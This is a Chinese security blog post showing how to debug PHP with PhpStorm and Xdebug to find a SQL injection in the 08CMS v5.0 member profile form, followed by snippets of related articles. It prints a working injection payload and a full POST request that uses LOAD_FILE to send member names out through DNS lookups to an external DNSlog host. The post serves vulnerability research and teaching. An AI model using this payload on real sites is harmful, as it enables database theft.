动态分析小示例| 08CMS SQL 注入分析

i春秋作家:yanzm

0×00 背景

本周,拿到一个源码素材是08cms的,这个源码在官网中没有开源下载,需要进行购买,由某师傅提供的,审计的时候发现这个CMS数据传递比较复杂,使用静态分析的方式不好操作,刚好这周小三上位(换了新电脑),就直接安装下phpstorm+xdebug+xdebug-ext(火狐)进行动态分析,本篇主要是以SQL注入漏洞为例子,进行动态分析的演练,当然源码还有其他漏洞待挖掘,期待师傅们一起交流讨论。

0×01 审计过程

动态分析环境配置

动态分析组合:phpstorm+xdebug+xdebug-ext(火狐)

相信小伙伴们关注本公号这么久这个环境搭建应该是没问题了,这里我就列出几个配置要点。如果还有不明白的可以参考:http://www.cnblogs.com/xujian2016/p/5548921.html

PHP的设置

首先根据电脑的PHP版本下载适配的xdebug插件放在\php\php-5.3.29-nts\ext\php_xdebug-2.2.7-5.3-vc9-nts.dll,下载地址:https://xdebug.org/download.php

然后在PHP.ini文件中进行如下配置,配置完成后查看phpinfo中xdebug是否有生效。

[XDebug]

zend_extension=”D:\soft\phpStudy\PHPTutorial\php\php-5.3.29-nts\ext\php_xdebug-2.2.7-5.3-vc9-nts.dll”

xdebug.profiler_append = 0

xdebug.profiler_enable = 1

xdebug.profiler_enable_trigger = 0

xdebug.profiler_output_dir=”D:\soft\phpStudy\PHPTutorial\tmp\xdebug”

xdebug.trace_output_dir=”D:\soft\phpStudy\PHPTutorial\tmp\xdebug”

xdebug.profiler_output_name = “cache.out.%t-%s”

xdebug.remote_enable = 1

xdebug.remote_handler = “dbgp”

xdebug.remote_host = “127.0.0.1″

xdebug.remote_port = 9000

xdebug.idekey = PHPSTORM

phpstorm的设置

配置运行环境,加载php.exe所在的位置。

配置debug端口,默认是9000与php.ini中的debug端口一致即可。

配置proxy端口和IDE key,端口与站点端口一致即可。

在编辑结构处进行如下设置:

xdebug-ext(火狐)

火狐最好使用开发者版本否则很多插件无法使用。

安装xdebug-ext插件后,在设置中配置好IDE key。

基本使用

在访问要调试的目标页面时候开启phpstorm的debug连接监听,就是那个小电话。

然后火狐浏览器开启那个小瓢虫。

开启后进行请求就会自动打上XDEBUG_SESSION=PHPSTORM,IDE 就能进行调试。

SQL 注入问题

0×00 相关环境

源码信息:08cms_v5.0_gbk_20140314

问题文件: \08cms\08cms_v5.0_gbk_20140314\upload_gbk\include\field.fun.php

漏洞类型:SQL注入问题

站点地址:http://www.08cms.com/

0×01 漏洞分析

这个08cms的源码素材数据传递比较复杂,所以没有像之前使用notepad++进行静态跟踪和审计的方法,而是采用phpstorm+xdebug+xdebug-ext(火狐)的组合,进行动态分析和数据流的跟踪。

在站点注册会员后登录到会员中心。

在左侧基本信息->基本资料->会员详情->上传附件上面的输入框中,经过简要的测试,知道这个地方是上传后的图片路径。

本着见框就插习惯(存放路径的输入框代码规则的复杂),开始进行测试,发现这个位置可以引入单引号。

但是在构造SQL语句的时候发现,这个位置有对输入的数据进行处理,所以黑盒的方式不好构造Payload,因此开始进行debug,由于提交的表单链接是http://127.0.0.1:8081/adminm.php?action=memberinfo_pthy&mid=2,因此我在文件\08cms\08cms_v5.0_gbk_20140314\upload_gbk\adminm.php中的第10行设置断点。

首先在phpstorm中开启电话标记,监听debug连接。

然后表单提交,开启xdebug-ext(火狐)后会自动打上debug的IDE Key,然后一路F8步过,知道运行到断点处F7步入,然后还是一路F8。

在第2次进入\08cms\08cms_v5.0_gbk_20140314\upload_gbk\libs\classes\frontpage\adminmpagebase.cls.php文件中的第15行运行完就结束,且结束后通过查看SQL日志,才出现那条可以引入单引号的SQL,因此在这个位置下断点。

经过反复的下断点F8步过和F7步入,遇到运行结束的位置下断点,在下次代码执行到该位置的时候F7步入。最终追踪到有问题的代码块。

如下是我跟踪的时候下的断点位置,把这些位置串起来便是代码运行和数据传递的过程。

当确认问题代码位置后,可以将其他断点去掉,然后仅保留,关键位置的断点,\08cms\08cms_v5.0_gbk_20140314\upload_gbk\include\field.fun.php这里我只保留第150的断点。

通过分析代码块,debug的时候会把变量的值展示在代码右侧,发现会对|和#进行处理,然后进行basename处理后传入SQL语句,08cms是会对传入的参数进行单引号的转义,此处虽然单引号被转义了但是由于经过了basename,导致反斜杠被吃掉,从而将单引号引入到SQL语句中,造成了SQL注入。

0×02 漏洞复现

可以进行如下请求,在fmdata[mlogo]位置’union select LOAD_FILE(CONCAT(0x5c5c,(select hex(GROUP_CONCAT(mname)) from cms_members where 1 LIMIT 1),0x2e6d7973716c2e38353731653539342e326d312e70772f2f616263))–传入这个payload,可以查询数据库中的数据,这里需要注意,构造payload的时候除了开头的单引号,其他位置要避免使用单引号,否则由于单引号被转义为\’,经过basename后会破坏语句的结构。

POST [url]http://127.0.0.1:8081/adminm.php?action=memberinfo_pthy&mid=2[/url] HTTP/1.1

Host: 127.0.0.1:8081

Proxy-Connection: keep-alive

Content-Length: 1563

Cache-Control: max-age=0

Origin: [url]http://127.0.0.1:8081[/url]

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36

Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryHubb3mAjcyGbJR0q

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Referer: [url]http://127.0.0.1:8081/adminm.php?action=memberinfo_pthy[/url]

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.8

Cookie: VGM_userauth=iCWfvAR8iseJ5T3P9bVHw%2BZLTvqmLhL8vMS0IIj3ZoEOL2%2Fa%2Fax8vtdH

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”_08_hash”

5228bb59d0b24b049a00dbc1c21fae97

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[nicename]“

Thinking

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[mlogo]“

[url]http://127.0.0.1:8081/userfiles/image/20180328/’union[/url] select LOAD_FILE(CONCAT(0x5c5c,(select hex(GROUP_CONCAT(mname)) from cms_members where 1 LIMIT 1),0x2e6d7973716c2e38353731653539342e326d312e70772f2f616263))– 1a=28164700edc421674c5194.jpg

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[phone]“

18988888888

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[email]“

[email][email protected][/email]

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[qq]“

88888888

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[coid20]“

0

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[birthday]“

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[**]“

1

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[education]“

1

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”fmdata[profession]“

——WebKitFormBoundaryHubb3mAjcyGbJR0q

Content-Disposition: form-data; name=”bsubmit”

{

——WebKitFormBoundaryHubb3mAjcyGbJR0q–

请求后查看DNSlog可以获取到查询数据。

0×02 小结

本篇以08cms SQL注入漏洞为例子与大家分享下我使用的动态分析方式,也有师傅推荐使用vscode,看大家的使用习惯了,我是习惯使用phpstorm,如果师傅们还有其他好的审计方法也可提出,欢迎提供审计素材一起学习进步,但是如果是hc请走开勿扰,交流学习可联系我。

注:本文仅限于学习和研究使用,禁止用于非法用途。一切非法用途,与原作者无关。

原文地址:https://www.cnblogs.com/ichunqiu/p/8777986.html

时间: 2024-11-05 21:38:29

动态分析小示例| 08CMS SQL 注入分析的相关文章

Discuz 5.x/6.x/7.x投票SQL注入分析

看乌云有人爆了这个漏洞:http://www.wooyun.org/bugs/wooyun-2014-071516感觉应该是editpost.inc.php里投票的漏洞.因为dz已经确定不会再修补7.x以前的漏洞了,所以直接贴细节吧 .问题出在 editpost.inc.php的281行,对用户提交的polloption数组直接解析出来带入SQL语句,因为默认只对数组值过滤,而不过滤键,所以会导致一个DELETE注入. ? 1 2 3 4 5 6 7 8 9 10 11 $pollarray['

java程序中sql注入分析及优化方案

先来看看百度百科的解释: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句.比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到sql注入攻击. 1.java程序

PHP中 简单的SQL注入分析

SQL注入原理:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 以下介绍SQL注入方式: 首先建表如下: 1 create database sqltest charset utf8 2 3 create table test ( 4 id int,5 name varchar(10), 6 age tinyint unsigned7 )engine=myisam charset=utf8 插入数据如下 我们分成字段为数值类型和

Drupal 7.31 SQL注入分析及POC

这个漏洞昨天爆出的 ,今天才有时间看代码. 在Drupal中,执行sql语句都是使用PDO模型进行的,这样做一般来说是可以规避大多数的注入,因为占位符的使用对sql语句的语法进行了限制. 但是这也不意味着绝对的安全,比如这次的漏洞. 在Drupal的user模块中,找到user.module: $account = db_query("SELECT * FROM {users} WHERE name = :name AND status = 1", array(':name' =>

SQL注入解决思路(C#示例)

最近在编程中遇到一个SQL注入防护的问题.在这里顺便把SQL注入小结一下.以MYSQL(5.1)为例. 一.常规的SQL语句 观察SQL语句 SELECT * FROM [tableName] WHERE col1='value1' 这个语句由3个部分组成,SELECT子句筛选得到结果,FROM子句指定了筛选的范围,WHERE子句指定了条件.当在其中进行如下置换: SELECT * FROM [tableName] WHERE 1 之后,选出了[tableName]表中的全部内容.分析其语法不难

PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/phpcms_v9/index.php?m=member&c=index&a=login dosubmit=1&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2

『SQL注入』 User-Agent 手工注入的探测与利用分析

原理很简单:后台在接收UA时没有对UA做过滤,也没有PDO进行数据交互(实际PDO是非常有必要的),导致UA中有恶意代码,最终在数据库中执行. Bug 代码: 本地顺手打了一个环境,Bug 代码部分: // 保存到访者的IP信息 $db=DBConnect(); $tbLog=$db->tbPrefix.'log'; $executeArr=array('ip'=>($_SERVER["HTTP_VIA"])?$_SERVER["HTTP_X_FORWARDED_

某游戏公司后台数据库SQL注入事件分析

某游戏公司后台数据库SQL注入事件分析 人物关系简介 Blank –SA Dawn(Boss) Ryan –DBA Fred –离开公司的安全顾问 本案例出自于<Unix/Linux网络日志分析与流量监控>一书,该事例详细描述了一家公司的后台服务器被入侵,黑客从中获取了大量游戏币帐号,并发送邮件相威胁的案例.主要遇到的问题是服务器被SQL注入或受到了SQL注入攻击 Blank是XX公司的网络架构师,技术好人缘也不错,他实际的工作室XX公司的"首席救火队员",每件事他都要自己

PHP函数 addslashes() 和 mysql_real_escape_string() 的区别,SQL注入攻击分析

首先:不要使用 mysql_escape_string(),它已被弃用,请使用 mysql_real_escape_string() 代替它. mysql_real_escape_string() 和 addslashes() 的区别在于: 区别一: addslashes() 不知道任何有关MySQL连接的字符集.如果你给所使用的MySQL连接传递一个包含字节编码之外的其他编码的字符串,它会很愉快地把所有值为字符'.".\和\x00的字节进行转义.如果你正在使用不同于8位和UTF-8的其它字符,